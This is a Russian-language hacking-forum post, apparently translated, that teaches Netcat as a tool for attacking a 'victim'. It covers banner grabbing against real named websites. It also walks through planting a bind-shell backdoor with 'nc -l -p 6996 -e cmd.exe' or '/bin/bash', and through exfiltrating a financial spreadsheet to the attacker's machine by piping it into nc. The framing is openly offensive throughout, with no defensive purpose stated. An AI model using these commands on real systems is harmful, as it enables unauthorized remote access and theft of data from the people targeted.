Netcat - швейцарский нож хакера.

zeddius

Знающий
PREMIUM USER
Kali group 2
ЮБИЛЕЙНАЯ ЛЕНТА

zeddius

Знающий
PREMIUM USER
Kali group 2
ЮБИЛЕЙНАЯ ЛЕНТА
Регистрация
29 Окт 2018
Сообщения
307
Реакции
89
Репутация
0
Уже более 15 лет хакеры используют маленький, но очень мощный инструмент для широкого круга задач. Этот инструмент называется Netcat, и, хотя он хорошо известен в хакерских кругах, но вне хакерского сообщества о нем мало кто знает. Он настолько мощный и полезный, что многие называют его «швейцарским ножом хакера».

В этой статье мы рассмотрим возможности этого простого и нужного инструмента.

Что такое Netcat на самом деле?
Netcat был создан как инструмент сетевого анализа. Он был разработан человеком, о котором мы знаем только его ник — «Хоббит». Без какого-либо материального вознаграждения он передал этот инструмент ИТ-сообществу, за что получил заслуженное уважение и признание сообщества. Спасибо, Хоббит!

Ну, а поскольку это инструмент анализа, то вы можете использовать его для открытия TCP- и UDP-соединений между двумя машинами по любому порту. Он может быть использован как инструмент сканирования портов, аналогичный nmap, для перенаправления портов, проксирования, простого веб-сервера, а также для того, чтобы открыть бэкдор для хакера.

Давайте рассмотрим некоторые из этих возможностей, используя систему BackTrack.

Шаг 1. Откройте Netcat
Как только мы запустим систему BackTrack и откроем терминал, мы сможем использовать netcat, находясь в любой директории, поскольку он по умолчанию находится в директории bin, которая расположена в нашей системной переменной PATH. Итак, давайте введем в консоли:

nc -h


Как видно на скриншоте, основной синтаксис netcat следующий.

Чтоб подключиться к другой машине:


  • nc options host IP address port
Чтобы прослушивать входящие подключения:


  • nc -l -p port
Шаг 2. Использование Netcat для подключения к удаленной системе
Давайте воспользуемся netcat, чтобы подключиться к удаленной системе. В этом случае мы попытаемся подключиться к веб-серверу на порту 80. Для этого нужно ввести:

nc 192.168.1.105 80


Эта команда по умолчанию создаст для нас TCP-соединение с веб-сервером, расположенным по адресу 192.168.1.105 на 80-м порту. Теперь, независимо от того, что мы введем в консоли, после того как мы нажмем Enter это будет отправлено непосредственно на веб-сервер.

Шаг 3. Используйте Netcat для «захвата баннера»
Как только мы установили TCP-соединение с веб-сервером, мы можем использовать netcat для того, чтобы, как говорят, «захватить баннер» веб-сервера, т.е. определить, какое программное обеспечение использует жертва.

Помните, что перед атакой на любую систему нам нужно как можно больше узнать о жертве. Netcat может помочь нам с этим, перехватив баннеры, которые веб-серверы передают при получении новых подключений.

Теперь, когда у нас есть установленное соединение, мы можем сделать захват баннера веб-сервера, набрав в консоли:

HEAD / HTTP/1.0

Будьте внимательны и скопируйте эту команду точно так же, как она набрана — т.е. с помощью слешей и пробелов.


Нажмите Enter несколько раз, и веб-сервер будет отвечать нам своим баннером, рассказывая, на каком программном обеспечении он работает. В этом случае мы видим, что на веб-сервере работает Microsoft IIS 6.0.

Мы также можем использовать эту технику на других веб-сайтах. Давайте испытаем netcat еще раз на нескольких известных веб-сайтах и посмотрим, на каком программном обеспечении работают их веб-сервера. Попробуем сайт wonderhowto.com. Когда мы пропингуем (ping) wonderhowto.com, то увидим его IP-адрес — 98.129.110.26. Потом мы можем ввести в консоли:

nc 98.129.110.26 80

Получив соединение, мы можем захватить баннер веб-сервера, опять набрав:

HEAD / HTTP/1.0

А затем нужно нажать на Enter два или три раза.


Как мы видим, wonderhowto.com работает на Microsoft-IIS/7.5.

Если мы попытаемся сделать то же самое с cnn.com, то мы получим вот такие результаты:


Интересно, что cnn.com работает на nginx, веб-сервере с открытым исходным кодом, который за очень короткое время сравнялся с общим количеством установок Microsoft IIS по всему миру (но Apache по-прежнему используют более 60% веб-серверов планеты).

Попробуйте netcat на других сайтах и узнайте, на каких серверах работают они.

Шаг 4. Использование Netcat для прослушивания подключений
Теперь попробуем netcat в роли «слушателя» на удаленной системе. Предположим, что у нас есть сервер под управлением Windows, на котором мы установили netcat. Теперь мы можем ввести следующую команду, чтобы указать netcat прослушивать 6996-й порт (это может быть любой порт) в этой системе.

nc -l -p 6996


Эта команда создала «слушателя», к которому мы можем подключиться. Обратите внимание, что в системах Windows мы можем запустить эту же команду с L в верхнем регистре и, тем самым, создать постоянного «слушателя», который будет работать даже в случае перезагрузки системы.

Шаг 5. Создание бэкдора
Теперь создадим бэкдор в системе жертвы, в который мы можем вернуться в любое время. Команда будет немного отличаться в зависимости от того, атакуем ли мы систему Linux или Windows.

Для Windows мы используем:

nc -l -p 6996 -e cmd.exe

Для Linux мы используем;

nc -l -p 6996 -e /bin/bash

Это откроет «слушателя» в системе, который будет транслировать через себя командный шел Windows или оболочку Linux bash в присоединенную систему. Затем в нашей атакующей системе мы вводим:

nc 192.168.1.105 6996


Как видите, командная строка Windows была передана через соединение netcat прямо в нашу атакующую систему!

Шаг 6. Копирование файлов (эксфильтрация) из целевой системы
Netcat также можно использовать для эксфильтрации (несанкционированного копирования или получения) файлов и данных от жертвы. Представьте себе, что в системе жертвы есть какие-нибудь данные, которые нам очень нужны. Может быть, это какие-нибудь финансовые данные или информация, хранящаяся в базе данных. Мы можем использовать скрытое соединение, чтобы медленно скопировать эти данные в нашу атакующую систему. В этом примере мы будем получать таким образом файл с именем financialprojections.xls — предположительно Excel-файл с финансовыми прогнозами.

Из исходной системы мы вводим в консоли:

type financialprojections.xls | nc 192.168.1.104 6996

Эта команда говорит отобразить файл financialprojections.xls, а затем туннелировать его (|) в netcat (nc) на IP-адрес 192.168.1.104 через порт 6996.


Из целевой системы, мы тогда вводим:

nc -l -p 6996> financialprojections.xls

Эта команда говорит создать «слушателя» (l) на порту (p) 6996 и затем отправить данные, полученные на этом «слушателе», в файл с именем financialprojections.xls.


На скриншоте ниже показано, что файл был скопирован через соединение netcat через порт 6996 на наш атакующий компьютер!


Это всего лишь несколько примеров того, что может сделать эта мощная небольшая программа. Представьте себе те невероятные вещи, которые вы сможете делать, когда соедините его возможности с вашими навыками написания скриптов!
 
Сверху